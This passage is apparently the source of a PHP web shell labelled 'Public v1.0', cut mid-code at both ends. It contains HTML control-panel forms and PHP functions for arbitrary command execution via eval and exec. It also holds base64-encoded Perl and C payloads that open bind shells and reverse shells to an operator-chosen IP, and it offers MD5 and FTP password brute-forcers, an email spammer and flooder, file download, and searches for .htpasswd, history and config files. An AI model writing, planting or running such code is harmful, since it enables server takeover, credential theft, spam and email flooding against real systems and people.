-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,10, 11,12,13,14,
15,16,17,18, 19,20,21,22, 23,24,25,-1, -1,-1,-1,-1,
-1,26,27,28, 29,30,31,32, 33,34,35,36, 37,38,39,40,
41,42,43,44, 45,46,47,48, 49,50,51,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1
);
var out = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
str = str.replace(/^[^a-zA-Z0-9\+\/\=]+|[^a-zA-Z0-9\+\/\=]+$/g,"")
var len = str.length;
do
{
enc1 = indexBase64[str.charCodeAt(i++)];
enc2 = indexBase64[str.charCodeAt(i++)];
enc3 = indexBase64[str.charCodeAt(i++)];
enc4 = indexBase64[str.charCodeAt(i++)];
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
out += String.fromCharCode(chr1);
if (enc3 != -1)
{
out += String.fromCharCode(chr2);
}
if (enc4 != -1)
{
out += String.fromCharCode(chr3);
}
}
while (i < len);
if (i != len)
{
new Error(BASE64_BROKEN);
return "";
}
return out;
}
</script>
<td valign="top" align="left" width="50%">
<form action="" method="POST">
<table width="100%" height="100%" valign="top" class="td2">
<tbody><tr><td width="1%">
<b>.::Base64_encode::.</b>
</td><td align="right" width="6%">
<input type="button" value="encode" class="bt" onclick="t.value=base64Encode(t.value)">
</td>
<td width="1%">
<b>.::Base64_decode::.</b>
</td><td align="right" width="6%">
<input type="button" value="decode" class="bt" onclick="n.value=base64Decode(n.value)">
</td></tr>
<tr><td colspan="2">
<input type="text" name="t" class="ta" size="34">
</td><td colspan="2">
<input type="text" name="n" class="ta" size="34">
</td></tr>
</tbody></table></form>
</td></tr>
</tbody></table>
</td></tr><tr></tr><tr><td>
<table cellpadding="0" cellspacing="0"><tbody><tr><td>
<table class="td1" width="226">
<tbody><tr><td width="100%" class="td2">
<form action="" method="POST">
<table cellpadding="0" cellspacing="0" width="90%" border="0"><tbody><tr><td colspan="3">
<b>.::Back Connect::.</b></td></tr>
<tr><td width="100%" height="10" colspan="3"></td></tr>
<tr><td width="25%" align="right"><font color="#888888" size="2"><b>IP:</b></font></td>
<td width="5%"></td>
<td width="100%" align="right">
<input type="text" class="ta" name="ip" size="15" value="::1"></td></tr>
<tr><td width="100%" height="5" colspan="3"></td></tr>
<tr><td width="25%" align="right"><font color="#888888" size="2">port:</font></td>
<td width="5%"></td>
<td width="100%" align="right">
<input type="text" class="ta" name="port" size="10" value="5000"></td></tr>
<tr><td width="100%" height="5" colspan="3"></td></tr>
<tr><td width="25%" align="right"><font color="#888888" size="2">Method:</font></td>
<td width="5%"></td>
<td width="100%" align="right">
<select class="ta" name="method">
<option>Perl</option>
<option>C#</option>
<option>---------------------</option>
</select></td></tr>
<tr><td width="100%" height="5" colspan="3"></td></tr>
<tr><td width="100%" align="right" colspan="3">
<input type="hidden" name="type" value="12">
<input type="submit" value="Connect" class="bt">
</td></tr><tr><td width="100%" height="5" colspan="3"></td></tr>
</tbody></table>
</form></td></tr>
</tbody></table>
</td><td width="5"></td><td>
<table class="td1" width="226">
<tbody><tr><td width="100%" class="td2">
<form action="" method="POST">
<table cellpadding="0" cellspacing="0" width="90%" border="0"><tbody><tr><td colspan="3">
<b>.::Bind port::.</b></td></tr>
<tr><td width="100%" height="10" colspan="3"></td></tr>
<tr><td width="25%" align="right"><font color="#888888" size="2"><b>Port:</b></font></td>
<td width="5%"></td>
<td width="100%" align="right">
<input type="text" class="ta" name="port" size="15" value="6000"></td></tr>
<tr><td width="100%" height="5" colspan="3"></td></tr>
<tr><td width="25%" align="right"><font color="#888888" size="2">pass:</font></td>
<td width="5%"></td>
<td width="100%" align="right">
<input type="text" class="ta" name="pass" size="10" value="hshell"></td></tr>
<tr><td width="100%" height="5" colspan="3"></td></tr>
<tr><td width="25%" align="right"><font color="#888888" size="2">Method:</font></td>
<td width="5%"></td>
<td width="100%" align="right">
<select class="ta" name="method">
<option>Perl</option>
<option>C#</option>
<option>---------------------</option>
</select></td></tr>
<tr><td width="100%" height="5" colspan="3"></td></tr>
<tr><td width="100%" align="right" colspan="3">
<input type="hidden" name="type" value="12">
<input type="submit" value="Bind" class="bt">
</td></tr><tr><td width="100%" height="5" colspan="3"></td></tr>
</tbody></table>
</form></td></tr>
</tbody></table>
</td><td width="5"></td><td width="50%" height="141">
<table class="td1" width="100%" height="100%" valign="top"><tbody><tr><td width="100%" height="100%" class="td2" valign="top">
<table cellpadding="0" cellspacing="0" width="95%"><tbody><tr><td colspan="4">
<b>.::md5 bruter::.</b>
</td></tr><tr><td height="10"></td></tr>
<tr><td width="20"></td><td>
<font size="2" color="#888888" align="right"><b>hash:</b></font></td><td width="5"></td><td align="right">
<input type="text" name="hash" class="ta" size="50">
</td></tr>
<tr><td height="5"></td>
</tr><tr><td width="20"></td><td>
<font size="2" color="#888888" align="right">log_file:</font></td><td width="5"></td><td align="right">
<input type="text" name="log" class="ta" size="30" value="md5_log.txt">
</td></tr>
<tr><td height="5"></td>
</tr><tr><td width="20"></td><td>
<font size="2" color="#888888" align="right">dictionary_file:</font></td><td width="5"></td><td align="right">
<input type="text" name="dict" class="ta" size="30" value="md5_dict.txt">
</td></tr>
<tr><td height="5"></td>
</tr><tr><td width="20"></td><td>
</td><td width="5"></td><td align="right">
<input type="submit" class="bt" value="Start Brute">
</td></tr>
</tbody></table>
</td></tr></tbody></table>
</td></tr></tbody></table>
</td></tr><tr></tr><tr><td>
<table class="td1" width="100%" height="310" valign="top" align="left">
<form action="" method="POST"></form>
<tbody><tr><td valign="top" align="left" class="td2" width="33%">
<table cellpadding="0" cellspacing="0" width="100%">
<tbody><tr><td valign="top" colspan="3" height="30">
<b>.::Spammer::.</b>
</td></tr><tr><td width="25%" align="right">
<font color="#888888" size="2"><b>emails_file:</b></font>
</td><td width="65%" align="right">
<input type="text" name="elist" class="ta" size="17" value="emails.txt">
</td></tr><tr><td height="5"></td></tr>
<tr><td width="25%" align="right">
<font color="#888888" size="2"><b>log_file:</b></font>
</td><td width="65%" align="right">
<input type="text" name="log" class="ta" size="17" value="mail_log.txt">
</td></tr>
<tr><td height="5"></td><td></td></tr>
<tr><td width="25%" align="right">
<font color="#888888" size="2">From:</font>
</td><td width="65%" align="right">
<input type="text" name="from" class="ta" size="27">
</td></tr>
<tr><td height="5"></td><td></td></tr>
<tr><td width="25%" align="right">
<font color="#888888" size="2">Subject:</font>
</td><td width="65%" align="right">
<input type="text" name="subject" class="ta" size="27">
</td></tr>
<tr><td height="5"></td><td></td></tr>
<tr><td width="25%" align="right">
<font color="#888888" size="2">Message:</font>
</td><td width="65%" align="right">
<textarea name="msg" class="ta" cols="20" rows="4"></textarea>
</td></tr>
<tr><td height="5"></td><td></td></tr>
<tr><td width="25%" align="right">
<font color="#888888" size="2">Check<sup>*</sup>:</font>
</td><td width="65%" align="right">
<input type="text" name="check" class="ta" size="27">
</td></tr>
<tr><td height="5"></td><td></td></tr>
<tr><td width="25%" align="right">
</td><td width="65%" align="right">
<input type="submit" class="bt" value="Start">
<input type="hidden" name="type" value="10">
</td></tr>
</tbody></table>
<form action="" method="POST">
</form></td><td valign="top" align="left" class="td2" width="33%">
<table cellpadding="0" cellspacing="0" width="100%">
<tbody><tr><td colspan="3" height="30" valign="top"><b>.::FTP-Brute::.</b></td></tr>
<tr><td width="31%" align="right">
<font color="#888888" size="2"><b>Host:</b></font>
</td><td align="right">
<input type="text" name="host" class="ta" size="28">
</td><td width="5%"></td></tr><tr><td height="35" width="100%" colspan="2"></td></tr>
<tr><td align="right">
<font color="#888888" size="2">ftp_users file:</font>
</td><td align="right">
<input type="text" name="users" class="ta" size="17" value="ftp_users.txt">
</td><td></td></tr>
<tr><td height="5" width="100%" colspan="2"></td></tr>
<tr><td align="right">
<font color="#888888" size="2">ftp_passwd file:</font>
</td><td align="right">
<input type="text" name="passwd" class="ta" size="17" value="ftp_passwds.txt">
</td><td></td></tr>
<tr><td height="5" width="100%" colspan="2"></td></tr>
<tr><td align="right">
<font color="#888888" size="2">ftp_log file:</font>
</td><td align="right">
<input type="text" name="log" class="ta" size="17" value="ftp_log.txt">
</td><td></td></tr>
<tr><td colspan="2" height="20"></td></tr>
<tr><td colspan="2" align="right">
<input type="submit" class="bt" value="Start Brute">
<input type="hidden" name="type" value="9">
</td></tr>
</tbody></table>
<form action="" method="POST">
</form></td><td valign="top" align="left" class="td2" width="33%">
<table cellpadding="0" cellspacing="0" width="100%">
<tbody><tr><td valign="top" colspan="3" height="30">
<b>.::Flooder::.</b>
</td></tr><tr><td width="25%" align="right">
<font color="#888888" size="2"><b>log_file:</b></font>
</td><td width="65%" align="right">
<input type="text" name="log" class="ta" size="17" value="mflood_log.txt">
</td></tr>
<tr><td height="5"></td><td></td></tr>
<tr><td width="25%" align="right">
<font color="#888888" size="2">Send to:</font>
</td><td width="65%" align="right">
<input type="text" name="to" class="ta" size="27">
</td></tr><tr>
<td height="5"></td><td></td></tr>
<tr><td width="25%" align="right">
<font color="#888888" size="2">From:</font>
</td><td width="65%" align="right">
<input type="text" name="from" class="ta" size="27">
</td></tr>
<tr><td height="5"></td><td></td></tr>
<tr><td width="25%" align="right">
<font color="#888888" size="2">Subject:</font>
</td><td width="65%" align="right">
<input type="text" name="subject" class="ta" size="27">
</td></tr>
<tr><td height="5"></td><td></td></tr>
<tr><td width="25%" align="right">
<font color="#888888" size="2">Message:</font>
</td><td width="65%" align="right">
<textarea name="msg" class="ta" cols="20" rows="4"></textarea>
</td></tr>
<tr><td height="25"></td><td></td></tr>
<tr><td width="25%" align="right">
<font color="#888888" size="2">Amount:</font>
</td><td width="65%" align="right">
<input type="text" name="amount" class="ta" size="17">
</td></tr>
<tr><td height="5"></td><td></td></tr>
<tr><td width="25%" align="right">
<font color="#888888" size="2">Check<sup>*</sup>:</font>
</td><td width="65%" align="right">
<input type="text" name="check" class="ta" size="27">
</td></tr>
<tr><td height="5"></td><td></td></tr>
<tr><td width="25%" align="right">
</td><td width="65%" align="right">
<input type="submit" class="bt" value="Flood">
<input type="hidden" name="type" value="10">
</td></tr>
</tbody></table>
</td></tr>
</tbody></table>
</td></tr>
</tbody></table>
</td></tr>
</tbody></table></center>
<center><font size="1" color="#444444">.:[Public v1.0]:.</font></center>
</body></html>
<?php
$auth = 0;
ini_set("session.gc_maxlifetime",1);
session_start();
error_reporting(0);
safe_mode();
$name="9b534ea55d0b82c3a7e80003a84b6865"; //login = 'mylogin'
$pass="a029d0df84eb5549c641e04a9ef389e5"; //pass = 'mypass'
if($auth == 1){
if (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || md5($HTTP_SERVER_VARS['PHP_AUTH_USER'])!=$name || md5($HTTP_SERVER_VARS['PHP_AUTH_PW'])!=$pass)
{
header("WWW-Authenticate: Basic realm=\"PanelAccess\"");
header("HTTP/1.0 401 Unauthorized");
exit("Access Denied");
}
}
if($_GET['kill']=='yes')
{
unlink($_SERVER['SCRIPT_FILENAME']);
echo "<script>alert('Your shell script was succefully deleted!')</script>";
}
function md5_brute($hash,$log,$dict)
{
ignore_user_abort(1);
set_time_limit(0);
$fl = fopen($dict, "r");
$fl = fopen($log, "w");
$count = 0;
if(!$dict){
return "Fill 'dictionary_file' field!";
}if(!$log){
return "Fill 'log_file' field!";
}elseif(!strlen($hash) == 0){
return "Fill 'md5_hash' field!";
}else{
while(!$feof($dict)){
$pass = fgets($dict);
$brute_hash = md5($pass);
if($brute_hash == $hash){
fputs($log, "$hash:$pass\n---");
fclose($dict);
fclose($log);
exit;
}else{
$count = $count + 1;
fputs($log, "$count passwords was bruted...");
}
}
fputs($log, "$count passwords are failed!");
}
fclose($dict);
fclose($log);
}
function port_bind($port,$pass,$method)
{
$perl = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";
$c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
if($method=='Perl')
{
fputs($i=fopen('/tmp/shlbck','w'),base64_decode($perl));
fclose($i);
ex(which("perl")." /tmp/shlbck ".$port." &");
unlink("/tmp/shlbck");
return ex('ps -aux | grep shlbck');
}
elseif($method=='C#')
{
fputs($i=fopen('/tmp/shlbck.c','w'),base64_decode($c));
fclose($i);
ex("gcc shlbck.c -o shlbck");
unlink('shlbck.c');
ex("/tmp/shlbck ".$port." ".$pass." &");
unlink("/tmp/shlbck");
return ex('ps -aux | grep shlbck');
}else
{
return 'Choose method';
}
}
function backconnect($ip,$port,$method)
{
$perl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
if($method=='Perl')
{
fputs($i=fopen('/tmp/shlbck','w'),base64_decode($perl));
fclose($i);
ex(which("perl")." /tmp/shlbck ".$ip." ".$port." &");
unlink("/tmp/shlbck");
return ex('netstat -an | grep -i listen');
}
elseif($method=='C#')
{
fputs($i=fopen('/tmp/shlbck.c','w'),base64_decode($c));
fclose($i);
ex("gcc shlbck.c -o shlbck");
unlink('shlbck.c');
ex("/tmp/shlbck ".$ip." ".$port." &");
unlink("/tmp/shlbck");
return ex('netstat -an | grep -i listen');
}else
{
return 'Choose method';
}
}
if($_POST['type']==11){download(stripslashes($_POST['value']));};
function download($dfilename)
{
$file=fopen($dfilename,"r");
ob_clean();
$filename = basename($dfilename);
$filedump = fread($file,@filesize($dfilename));
fclose($file);
header("Content-type: ".$mime_type);
header("Content-disposition: attachment; filename=\"".$filename."\";");
echo $filedump;
}
function flooder($logf,$to,$from,$subject,$msg,$amount,$check)
{
ignore_user_abort(1);
set_time_limit(0);
$fl = fopen($logf, "w");
$count = 0;
if(!$logf){
return "Fill 'log_file' field!";
}elseif(!$to){
return "Fill 'Send to' field!";
}elseif(!$from){
return "Fill 'From' field!";
}elseif(!$subject){
return "Fill 'Subject' field!";
}elseif(!$msg){
return "Fill 'Message' field!";
}elseif(!$amount){
return "Fill 'Amount' field!";
}else{
while($count < $amount){
mail("$to", "$subject", "$msg", "From: $from");
$count = $count + 1;
$fl = fopen($logf, "w");
fputs($fl, "$count flood-letters was sended...");
fclose($fl);
}
if(strlen($check) != 0){
$check_text = "Done! $count flood-letters was sended!";
$check_sub = 'Check';
mail("$check", "$check_sub", "$check_text", "From: $from");
$fl = fopen($logf, "w");
fputs($fl, "Done! $count flood-letters was sended!");
}
else{
$fl = fopen($logf, "w");
fputs($fl, "Done! $count flood-letters was sended!");
}
}
fclose($fl);
}
function ftp_brute($host,$ftp_users,$ftp_passwd,$ftp_log)
{
ignore_user_abort(1);
set_time_limit(0);
$fl = fopen($ftp_users, "r");
$fd = fopen($ftp_passwd, "r");
$fr = fopen($ftp_log, "a+");
if(!$host){
return "Fill 'Host' field!";
}elseif(!$ftp_users){
return "Fill 'ftp_users file' field!";
}elseif(!$ftp_passwd){
return "Fill 'ftp_passwd file' field!";
}elseif(!$ftp_log){
return "Fill 'ftp_log file' field!";
}elseif(!file_exists($ftp_users)){
return "File ".$ftp_users." doesn't exists!";
}elseif(!file_exists($ftp_passwd)){
return "File ".$ftp_passwd." doesn't exists!";
}
else{
while(!feof($fd)){
$pass = fgets($fd);
while(!feof($fl)){
$user = fgets($fl);
$connect = ftp_connect($host);
if(!$connect){
fputs($fr, "Enable connect to $host\n");
exit;
}else{
$auth = ftp_login($connect, $user, $pass);
if(!$auth){
ftp_quit($connect);
}
else{
fputs($fr, "$host:\n---$login:$pass\n---");
ftp_quit($connect);
}
}
}
}
fputs($fr, "Done:\n");
fclose($fr);
}
fclose($fl);
fclose($fd);
}
function spammer($from,$subject,$msg,$check,$elist,$logf)
{
ignore_user_abort(1);
set_time_limit(0);
$fp = fopen($elist. "r");
$fl = fopen($logf, "w");
$count = 0;
if(!$from){
return "Fill 'From' field!";
}elseif(!$elist){
return "Fill 'Emails list' field!";
}elseif(!$logf){
return "Fill 'Log File' field!";
}elseif(!$msg){
return "Fill 'Message' field!";
}elseif(!$subject){
return "Fill 'Subject' field!";
}elseif(!file_exists($elist)){
return "File ".$elist." doesn't exists!";
}else{
while(!feof($fp)){
$to = fgets($fp);
mail("$to", "$subject", "$msg", "From: $from");
$count = $count + 1;
$fl = fopen($logf, "w");
fputs($fl, "$count letters was sended...");
fclose($fl);
}
if(strlen($check) != 0){
$check_text = "Done! $count letters was sended!";
$check_sub = 'Check';
mail("$check", "$check_sub", "$check_text", "From: $from");
$fl = fopen($logf, "w");
fputs($fl, "Done! $count letters was sended!\n");
}
else{
$fl = fopen($logf, "w");
fputs($fl, "Done! $count letters was sended!");
}
}
fclose($fp);
fclose($fl);
}
function alias($in)
{
if($in=="find apahce config file"){return ex('find / -type f -name httpd.conf');}
elseif($in=="find access_log files"){return ex('find / -type f -name access_log');}
elseif($in=="find error_log files"){return ex('find / -type f -name error_log');}
elseif($in=="find suid files"){return ex('find / -type f -perm -04000 -ls');}
elseif($in=="find suid files in current dir"){return ex('find . -type f -perm -04000 -ls');}
elseif($in=="find sgid files"){return ex('find / -type f -perm -02000 -ls');}
elseif($in=="find sgid files in current dir"){return ex('find . -type f -perm -02000 -ls');}
elseif($in=="find config.inc.php files"){return ex('find / -type f -name config.inc.php');}
elseif($in=="find config.inc.php files in current dir"){return ex('find . -type f -name config.inc.php');}
elseif($in=="find config* files"){return ex('find / -type f -name "config*"');}
elseif($in=="find config* files in current dir"){return ex('find . -type f -name "config*"');}
elseif($in=="find all writable files"){return ex('find / -type f -perm -2 -ls');}
elseif($in=="find all writable files in current dir"){return ex('find . -type f -perm -2 -ls');}
elseif($in=="find all writable directories"){return ex('find / -type d -perm -2 -ls');}
elseif($in=="find all writable directories in current dir"){return ex('find . -type d -perm -2 -ls');}
elseif($in=="find all writable directories and files"){return ex('find / -perm -2 -ls');}
elseif($in=="find all writable directories and files in current dir"){return ex('find . -perm -2 -ls');}
elseif($in=="find all service.pwd files"){return ex('find / -type f -name service.pwd');}
elseif($in=="find service.pwd files in current dir"){return ex('find . -type f -name service.pwd');}
elseif($in=="find all .htpasswd files"){return ex('find / -type f -name .htpasswd');}
elseif($in=="find .htpasswd files in current dir"){return ex('find . -type f -name .htpasswd');}
elseif($in=="find all .bash_history files"){return ex('find / -type f -name .bash_history');}
elseif($in=="find .bash_history files in current dir"){return ex('find . -type f -name .bash_history');}
elseif($in=="find all .mysql_history files"){return ex('find / -type f -name .mysql_history');}
elseif($in=="find .mysql_history files in current dir"){return ex('find . -type f -name .mysql_history');}
elseif($in=="find all .fetchmailrc files"){return ex('find / -type f -name .fetchmailrc');}
elseif($in=="find .fetchmailrc files in current dir"){return ex('find . -type f -name .fetchmailrc');}
elseif($in=="list file attributes on a Linux second extended file system"){return ex('lsattr -va');}
elseif($in=="show opened ports"){return ex('netstat -an | grep -i listen');}
elseif($in=="---------------------------------------------------------------------------------------------------------"){return ex('ls -la');}
}
function testperl()
{
if(ex('perl -h'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function testlynx()
{
if(ex('lynx --help'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function view_size($size)
{
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
else {$size = $size . " B";}
return $size;
}
function testfetch()
{
if(ex('fetch --help'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function testwget()
{
if(ex('wget --help'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function oracle()
{
if(function_exists('ocilogon'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function postgresql()
{
if(function_exists('pg_connect'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function testmssql()
{
if(function_exists('mssql_connect'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function testcurl()
{
if(function_exists('curl_version'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function testmysql()
{
if(function_exists('mysql_connect'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function safe_mode()
{
if(!$safe_mode && strpos(ex("echo abch0ld"),"h0ld")!=3)
{
$_SESSION['safe_mode'] = 1;
return "<font size=2 color=green>ON</font>";
}else{
$_SESSION['safe_mode'] = 0;
return "<font size=2 color=red>OFF</font>";
}
};
function ex($in)
{
$out = '';
if(function_exists('exec'))
{
exec($in,$out);
$out = join("\n",$out);
}
elseif(function_exists('passthru'))
{
ob_start();
passthru($in);
$out = ob_get_contents();
ob_end_clean();
}
elseif(function_exists('system'))
{
ob_start();
system($in);
$out = ob_get_contents();
ob_end_clean();
}
elseif(function_exists('shell_exec'))
{
$out = shell_exec($in);
}
elseif(is_resource($f = popen($in,"r")))
{
$out = "";
while(!@feof($f)) { $out .= fread($f,1024); }
pclose($f);
}
return $out;
}
function shell()
{
if($_POST['type']==1)
{
eval(stripslashes($_POST['value']));
}
elseif($_POST['type']==2)
{
pwd();
print_r(ex(stripslashes($_POST['value'])));
}
elseif($_POST['type']==3)
{
if($_SESSION['safe_mode'] == 1){
if(($u=safe_ex('ls -la'))!='')
{return $u;}else{return safe_ex('dir');};
}else{
if(($u=ex('ls -la'))!='')
{return $u;}else{return ex('dir');};
}
}
elseif($_POST['type']==4)
{
if(file_exists(stripslashes($_POST['value'])))
{
if($safe_mode!=1){
